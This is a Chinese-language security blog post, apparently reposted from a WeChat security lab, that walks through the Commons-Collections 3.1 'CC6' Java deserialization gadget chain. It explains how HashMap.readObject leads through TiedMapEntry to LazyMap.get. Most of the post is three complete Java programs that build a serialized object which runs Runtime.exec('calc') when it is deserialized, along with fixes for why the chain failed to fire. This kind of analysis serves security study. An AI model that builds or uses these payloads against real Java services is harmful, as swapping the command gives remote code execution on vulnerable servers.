Java反序列化之CC6分析

admin 2024年10月24日22:42:41评论9 views字数 9026阅读30分5秒阅读模式

0x00 前言

JDK8U71官方修复了AnnotationInvocationHandler中的readObject方法中一些处理,

导致一些高版本JDK无法使用CC1。

8U71之后不再对传入Map进行反序列化,而是引入了LinkedHashMap,添加原Map的键值,后续处理都会基于LinkedHashMap。

0x01 正文

依赖版本:

  1. JDK8U71
  2. Commons-Collections:3.1

回顾Commons-Collections1

我们是通过invoke触发LazyMap的get方法

(动态代理的原理)

/*
 Gadget chain:
  ObjectInputStream.readObject()
   AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
     AnnotationInvocationHandler.invoke()
      LazyMap.get()
       ChainedTransformer.transform()
        ConstantTransformer.transform()
        InvokerTransformer.transform()
         Method.invoke()
          Class.getMethod()
        InvokerTransformer.transform()
         Method.invoke()
          Runtime.getRuntime()
        InvokerTransformer.transform()
         Method.invoke()
          Runtime.exec()

 Requires:
  commons-collections
 */ 

两条链的核心都是因为LazyMap.get方法当他获取不到key时就会调用map的transform方法,但是当引入高版本JDK时候,就无法触发get方法,CC6就是在通过调用别的方法来触发LazyMap.get

Commons-Collections6

/*
 Gadget chain:
     java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

这个时候我们就找到了TiedMapEntry类

org.apache.commons.collections.keyvalue.TiedMapEntry#getValue

Java反序列化之CC6分析

getValue的方法是由同类下的hashCode方法调用

Java反序列化之CC6分析

如果跟过URLDNS链的师傅肯定清楚,HashMap中的readObject方法会对传入的map中的key进行调用hash方法

最后再调用hashcode方法

HashMap.readObject()->Hash.Map.hash(key)->key.hashCode()

Java反序列化之CC6分析
Java反序列化之CC6分析

所以说,我们只需要将这个key

改为我们传入的TiedMapEntry对象即可触发RCE

payload构造

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
        HashMap hashMap  = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"white");
        HashMap hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"black");
        serialize(hashMap1);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objops =  new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objops.writeObject(obj);
    }

    public static Object unserialize(String Filename)throws IOException, ClassNotFoundException {
        ObjectInputStream objis = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objis.readObject();
        return obj;
    }
}

但是呢,都知道hashmap的put方法会直接调用hash方法,

这样就会导致链子提前触发。 

所以我们在进行put的时候使链处于无效状态,

put后通过反射修改。

Java反序列化之CC6分析

直接传入一个FakeChains到LazyMap的修饰器中。

Java反序列化之CC6分析

反射修改factory。

Java反序列化之CC6分析

payload构造

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"explorer"})
        };
        ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
        HashMap hashMap  = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"white");
        HashMap hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"black");
        Class cls = LazyMap.class;
        Field Factoryfield = cls.getDeclaredField("factory");
        Factoryfield.setAccessible(true);
        Factoryfield.set(lazymap,chainedTransformer);
        serialize(hashMap1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objops =  new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objops.writeObject(obj);
    }

    public static Object unserialize(String Filename)throws IOException, ClassNotFoundException {
        ObjectInputStream objis = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objis.readObject();
        return obj;
    }
}

0x02 坑点

新的问题出现,命令没有成功执行。

在进行调试put方法时候会直接出现弹窗,需要关闭这两个设置

Java反序列化之CC6分析

第一次传入fakechains的时候,因为缓存机制,他会直接将这个white值put进去。下一次携带恶意链的map进入if时候就会导致white存在,不为false,无法进入if。

Java反序列化之CC6分析

所以我们就需要在执行完hashMap1.put(tiedMapEntry,"black");

之后对map中的key进行清理

这里采用的是直接针对删除white字段。

Java反序列化之CC6分析

直接clear也行

Java反序列化之CC6分析

完整Payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "white");
        hashMap1.put(tiedMapEntry,"black");
        lazymap.remove("white");
        Field FactoryField = LazyMap.class.getDeclaredField("factory");
        FactoryField.setAccessible(true);
        FactoryField.set(lazymap,chainedTransformer);

        serialize(hashMap1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objops =  new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objops.writeObject(obj);
    }

    public static Object unserialize(String Filename)throws IOException, ClassNotFoundException {
        ObjectInputStream objis = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objis.readObject();
        return obj;
    }
}

0x03 结尾

Java反序列化之CC6分析

原文始发于微信公众号(赛搏思安全实验室):Java反序列化之CC6分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月24日22:42:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化之CC6分析https://cn-sec.com/archives/3311506.html

发表评论

匿名网友 填写信息